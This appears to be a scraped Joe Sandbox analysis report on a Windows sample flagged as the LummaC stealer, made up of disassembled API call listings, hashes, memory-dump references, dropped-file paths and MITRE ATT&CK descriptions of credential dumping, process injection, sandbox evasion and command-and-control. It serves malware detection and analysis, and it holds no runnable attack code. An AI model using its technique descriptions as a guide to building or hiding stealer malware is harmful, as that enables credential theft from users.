LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,?,00F98682), ref: 00F8EE81
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,?,00F98682), ref: 00F8EEA2
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,?,00F98682), ref: 00F8EEB8

Part of subcall function 00F8EB2F: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB4C
Part of subcall function 00F8EB2F: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB60
Part of subcall function 00F8EB2F: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB89
Part of subcall function 00F8EB2F: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB99

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 7294391eeb3ed1d12229fa0253a1d43caf71541c0c0d4cd036fc0cb29270cedf
Instruction ID: 26dd9705aea2ecc53821ea80fe0a089f0839561f9c378b632da174e45a703879
Opcode Fuzzy Hash: 7294391eeb3ed1d12229fa0253a1d43caf71541c0c0d4cd036fc0cb29270cedf
Instruction Fuzzy Hash: 2C314171B04605CFCF24EF6AC8C06EAB7E5FF84360B15816AE8588B249E335D951DF91

Function 00F8ED06 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,00F97D10,?,00F92435), ref: 00F8ED47
LeaveCriticalSection.KERNEL32(00F97D10,?,?,?,?,?,?,00000000,?,00F97D10,?,00F92435), ref: 00F8EDC8

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 23481df261903433d6d6c81c04fd64b49a4d5d8a423147697673c2671d9ff858
Instruction ID: 8ed24040fb4ea513c9956c5b60b3c0a8d4a331364a77db14bdca51ff91fcff6e
Opcode Fuzzy Hash: 23481df261903433d6d6c81c04fd64b49a4d5d8a423147697673c2671d9ff858
Instruction Fuzzy Hash: 6D316F76A042058FCF14FF29D8C06EAB7E5FF84320F14856AEC558B249E730D945DB91

Function 00F8EB2F Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB4C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB60
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB89
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,?,?,00F8EF4E), ref: 00F8EB99

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ac0542a37628bb3c4f73bf58050c1cf47a23d33525b6a707c2fff7ab49d385f3
Instruction ID: 0d45065903aa7514983ea8325d620a1d8e2d78f16ddab92c27b98492bdf40499
Opcode Fuzzy Hash: ac0542a37628bb3c4f73bf58050c1cf47a23d33525b6a707c2fff7ab49d385f3
Instruction Fuzzy Hash: CC112AB1A057189FCB10AF99D88489EBBF8FF8C311F01852DE98A97310D7359800CBA1

Function 00F8C8E8 Relevance: 5.0, APIs: 4, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,00F8C9F3,?,?,00000000,?,?,?,00F8D19E), ref: 00F8C90A
InitializeCriticalSection.KERNEL32(00000000,?,?,00F8C9F3,?,?,00000000,?,?,?,00F8D19E), ref: 00F8C933
InitializeCriticalSection.KERNEL32(?,?,00F8C9F3,?,?,00000000,?,?,?,00F8D19E), ref: 00F8C93D
Sleep.KERNEL32(00000000,?,?,00F8C9F3,?,?,00000000,?,?,?,00F8D19E), ref: 00F8C96E

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: bee4315944f77eafcf92012f87d68d288a7ce6c64d58f56fd5f485e1f5a10da1
Instruction ID: 586f0cae1651734a519cd4e60aea090e540bca27ece02af98c8a7da6f2c8b682
Opcode Fuzzy Hash: bee4315944f77eafcf92012f87d68d288a7ce6c64d58f56fd5f485e1f5a10da1
Instruction Fuzzy Hash: C1015EB29142118BDF317B5DDC856EA7FA8EB06368F100459E5C9C3606D27E84C0EBF2

Function 00F86A34 Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00F86C0D,?,?,?,?,00F863D4), ref: 00F86A43
TlsGetValue.KERNEL32(?,?,?,?,00F86C0D,?,?,?,?,00F863D4), ref: 00F86A59
GetLastError.KERNEL32(?,?,?,?,?,00F86C0D,?,?,?,?,00F863D4), ref: 00F86A62
LeaveCriticalSection.KERNEL32(?,?,?,?,00F86C0D,?,?,?,?,00F863D4), ref: 00F86A84

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6ea495314682dcc105d1998befe0d38f1e10f639de65bf5396702a5c525c4c4e
Instruction ID: 349e780f9db2ec25d624f9654439d23ac737c1394ea208023ef6123bffca1ed5
Opcode Fuzzy Hash: 6ea495314682dcc105d1998befe0d38f1e10f639de65bf5396702a5c525c4c4e
Instruction Fuzzy Hash: 12F05471704320DFDB25BFA4D8C85AA7BF8EF04751F014568F9C9DB205DB3998409BA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T4qO1i2Jav.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VBJU2N3euXB4jMxu_15788e3c6243c8ecfbcf678a99c63be7a7dd82a_474ed555_4c19eb69-d447-4027-bd46-aabba6de0aff\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_VBJU2N3euXB4jMxu_5c7491f6deea1970ac49fbc8a7eacec4b8459a4_474ed555_510640a1-9cb9-4f90-a18e-88cd0b8e1d9e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER42A4.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44E7.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4517.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB505.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB99A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9CA.tmp.xml

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\152c595e-f1ce-44fd-80e1-14e6b901932c.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1a881c7d-defd-4480-ae5f-b5d270c6c7af.tmp

Windows Analysis Report
T4qO1i2Jav.exe

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre